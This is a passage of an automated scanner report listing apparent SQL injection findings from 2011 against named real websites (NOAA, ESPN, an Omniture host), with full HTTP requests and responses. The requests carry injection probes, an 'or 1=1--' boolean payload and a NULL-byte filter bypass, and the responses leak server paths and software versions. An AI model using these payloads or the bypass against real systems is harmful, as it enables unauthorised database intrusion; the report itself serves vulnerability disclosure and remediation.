Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.90. http://response.restoration.noaa.gov/deepwaterhorizon/noaaroles [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /deepwaterhorizon/noaaroles

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /deepwaterhorizon/noaaroles?1'=1 HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:06:37 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Length: 1221
Connection: close
Content-Type: text/html

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /deepwaterhorizon/noaaroles?1''=1 HTTP/1.1
Host: response.restoration.noaa.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:06:38 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Length: 519
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.91. http://response.restoration.noaa.gov/dwh.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /dwh.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /dwh.php'?entry_id=812 HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:24:30 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 1211

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /dwh.php''?entry_id=812 HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:24:31 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 509

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.92. http://response.restoration.noaa.gov/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /favicon.ico' HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:23:58 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 1202

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /favicon.ico'' HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:23:59 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 500

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.93. http://response.restoration.noaa.gov/index.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /index.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /index.php' HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:41:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 1200

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /index.php'' HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:41:44 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 498

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.94. http://response.restoration.noaa.gov/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /index.php

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /index.php/1%00' HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:41:28 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 1205

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /index.php/1%00'' HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Referer: http://response.restoration.noaa.gov/dwh.php?entry_id=-1+OR+17-7%3d10
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:41:29 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 503

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.95. http://response.restoration.noaa.gov/orr_search.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /orr_search.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /orr_search.php'?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20for. HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 13:47:09 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 1349

<br />
<b>Warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/404.php</b> on line <b>27</b>
...[SNIP]...

Request 2

GET /orr_search.php''?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20for. HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response 2

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 13:47:10 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Location: http://response.restoration.noaa.gov/orr_search.php?message=The page you requested was not found. Please use our search page to find what you were looking for.
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 647

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
...[SNIP]...

1.96. http://soccernet.espn.go.com/fixtures [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://soccernet.espn.go.com
Path:   /fixtures

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payloads 11503772'%20or%201%3d1--%20 and 11503772'%20or%201%3d2--%20 were each submitted in the Referer HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /fixtures?league=usa.1\ HTTP/1.1
Host: soccernet.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=11503772'%20or%201%3d1--%20

Response 1

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:21:01 GMT
Content-Type: text/html; charset=iso-8859-1
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN21
Set-Cookie: SWID=8460282C-16DE-4E41-8F26-DD9C36F5927A; path=/; expires=Sat, 26-Feb-2031 02:21:01 GMT; domain=.go.com;
Cache-Expires: Sat, 26 Feb 2011 02:21:32 GMT
Content-Length: 43631
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; expires=Tue, 08 Mar 2011 02:21:01 GMT; Path=/; Domain=.go.com
Connection: close
Via: 8810-05/06
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>2010-11 Barclays Premier League Fixtures / Schedules - ESPN Soccernet</title>

   <script>/*c: null*/function cookieFunc(a,j,k){if(j){if(k){var d=new Date();d.setTime(d.getTime()+(k*24*60*60*1000));var b="; expires="+d.toGMTString()}else{var b=""}document.cookie=a+"="+j+b+"; path=/; domain=espn.go.com;"}else{var e=a+"=";var f=document.cookie.split(";");for(var g=0;g<f.length;g++){var h=f[g];while(h.charAt(0)==" "){h=h.substring(1,h.length)}if(h.indexOf(e)==0){return h.substring(e.length,h.length)}}return null}}function setORef(){if(document.referrer){referringUrl=document.referrer.toString();document.cookie=["oRef=",encodeURIComponent(document.referrer),"; expires="+(new Date(+new Date+30000)).toUTCString()].join("")}}(function(){var c=false,e="AcceptCookies";if(document.cookie.indexOf(e)!==-1){c=true}else{cookieFunc(e,"yes",3);cookie=cookieFunc(e,null,null);if(cookie!=null){c=true}}if(c){var g="null",d=cookieFunc("COREG"),f=window.location,a="replace";if(g!=null){g=g+""}if(d!=null&&d!==g){setORef();if(location.toString().indexOf("cc=")!=-1){var b=new RegExp("cc="+g,"i");f=f.toString()[a](b,"cc="+d);window.location[a](f)}else{if(location.toString().indexOf("?")===-1){window.location[a](location+"?cc="+d)}else{window.location[a](f+"&cc="+d)}}}else{if(d==null&&g!="null"&&g!=null&&g!=""){setORef();if(f.toStri
...[SNIP]...

Request 2

GET /fixtures?league=usa.1\ HTTP/1.1
Host: soccernet.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=11503772'%20or%201%3d2--%20

Response 2

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Sat, 26 Feb 2011 02:21:01 GMT
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Sat, 26 Feb 2011 02:16:31 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN16
Set-Cookie: SWID=75AF709D-3CBF-402A-8A90-73E340EC22E7; path=/; expires=Sat, 26-Feb-2031 02:21:01 GMT; domain=.go.com;
Cache-Expires: Sat, 26 Feb 2011 02:21:32 GMT
Content-Length: 43631
Connection: close
Via: 8810-05/06
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>2010-11 Barclays Premier League Fixtures / Schedules - ESPN Soccernet</title>

   <script>/*c: null*/function cookieFunc(a,j,k){if(j){if(k){var d=new Date();d.setTime(d.getTime()+(k*24*60*60*1000));var b="; expires="+d.toGMTString()}else{var b=""}document.cookie=a+"="+j+b+"; path=/; domain=espn.go.com;"}else{var e=a+"=";var f=document.cookie.split(";");for(var g=0;g<f.length;g++){var h=f[g];while(h.charAt(0)==" "){h=h.substring(1,h.length)}if(h.indexOf(e)==0){return h.substring(e.length,h.length)}}return null}}function setORef(){if(document.referrer){referringUrl=document.referrer.toString();document.cookie=["oRef=",encodeURIComponent(document.referrer),"; expires="+(new Date(+new Date+30000)).toUTCString()].join("")}}(function(){var c=false,e="AcceptCookies";if(document.cookie.indexOf(e)!==-1){c=true}else{cookieFunc(e,"yes",3);cookie=cookieFunc(e,null,null);if(cookie!=null){c=true}}if(c){var g="null",d=cookieFunc("COREG"),f=window.location,a="replace";if(g!=null){g=g+""}if(d!=null&&d!==g){setORef();if(location.toString().indexOf("cc=")!=-1){var b=new RegExp("cc="+g,"i");f=f.toString()[a](b,"cc="+d);window.location[a](f)}else{if(location.toString().indexOf("?")===-1){window.location[a](location+"?cc="+d)}else{window.location[a](f+"&cc="+d)}}}else{if(d==null&&g!="null"&&g!=null&&g!=""){setORef();if(f.toString().indexOf("?cc")>-1){var b=new RegExp("\\?cc="+g,"i");f=f.toString()[a](b,"");if(f.toString().indexOf("&")>-1){f=f.toString()[a](/&/,"?")}}else{var b=new RegExp("\\&cc="+g,"i");f=f.toString()[a](b,"")}window.l
...[SNIP]...

1.97. http://w88.go.com/b/ss/wdgespchicago,wdgespge/1/H.21/s8627410965971 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://w88.go.com
Path:   /b/ss/wdgespchicago,wdgespge/1/H.21/s8627410965971

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 4, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /b/ss/wdgespchicago,wdgespge/1%00'/H.21/s8627410965971?AQB=1&ndh=1&t=24/1/2011%2013%3A35%3A26%204%20360&ns=espn&cdp=2&pageName=espnchicago%3Ahome%3Aindex&g=http%3A//espn.go.com/chicago/&r=http%3A//espn.go.com/new-york/&cc=USD&ch=espnchicago%3Ahome&server=espn.go.com&events=event3&c1=espnchicago&h1=espnchicago%3Ahome%3Aindex&c2=D%3DSWID&c4=index&c5=espnchicago%3Ahome&c6=Repeat&v7=%3Aunknown%3Aanonymous%3Aanonymous%3Apremium-no%3A&c9=citynav%2Bchicago&v9=en&c11=anonymous%3Apremium-no&v11=index%3Aespnchicago%3Ahome&c12=espnnewyork%3Anewyork%3Ahome%3Aindex&v13=espnchicago%3Ahome%3Aindex&c17=en&c21=unknown&c22=unknown&c24=Less%20than%201%20day&c29=anonymous&c30=n&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1437&bh=954&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pid=espnnewyork%3Anewyork%3Ahome%3Aindex&pidt=1&oid=http%3A//espn.go.com/chicago/&ot=A&AQE=1 HTTP/1.1
Host: w88.go.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/chicago/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; CRBLM=CBLM-001:; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; CRBLM_LAST_UPDATE=1298497363; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; s_sess=%20s_ppv%3D38%3B%20s_sq%3Dwdgespnewyork%252Cwdgespge%253D%252526pid%25253Despnnewyork%2525253Anewyork%2525253Ahome%2525253Aindex%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//espn.go.com/chicago/%252526ot%25253DA%3B%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B; s_pers=%20s_c24%3D1298576126466%7C1393184126466%3B%20s_c24_s%3DLess%2520than%25201%2520day%7C1298577926466%3B%20s_gpv_pn%3Despnchicago%253Ahome%253Aindex%7C1298577926489%3B

Response 1

HTTP/1.1 404 Not Found
Date: Thu, 24 Feb 2011 19:42:19 GMT
Server: Omniture DC/2.0.0
Content-Length: 417
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b/ss/wdgespchicago,wdgespge/1 was not found on this
...[SNIP]...
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /b/ss/wdgespchicago,wdgespge/1%00''/H.21/s8627410965971?AQB=1&ndh=1&t=24/1/2011%2013%3A35%3A26%204%20360&ns=espn&cdp=2&pageName=espnchicago%3Ahome%3Aindex&g=http%3A//espn.go.com/chicago/&r=http%3A//espn.go.com/new-york/&cc=USD&ch=espnchicago%3Ahome&server=espn.go.com&events=event3&c1=espnchicago&h1=espnchicago%3Ahome%3Aindex&c2=D%3DSWID&c4=index&c5=espnchicago%3Ahome&c6=Repeat&v7=%3Aunknown%3Aanonymous%3Aanonymous%3Apremium-no%3A&c9=citynav%2Bchicago&v9=en&c11=anonymous%3Apremium-no&v11=index%3Aespnchicago%3Ahome&c12=espnnewyork%3Anewyork%3Ahome%3Aindex&v13=espnchicago%3Ahome%3Aindex&c17=en&c21=unknown&c22=unknown&c24=Less%20than%201%20day&c29=anonymous&c30=n&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1437&bh=954&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pid=espnnewyork%3Anewyork%3Ahome%3Aindex&pidt=1&oid=http%3A//espn.go.com/chicago/&ot=A&AQE=1 HTTP/1.1
Host: w88.go.com
Proxy-Connection: keep-alive
Referer: http://espn.go.com/chicago/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
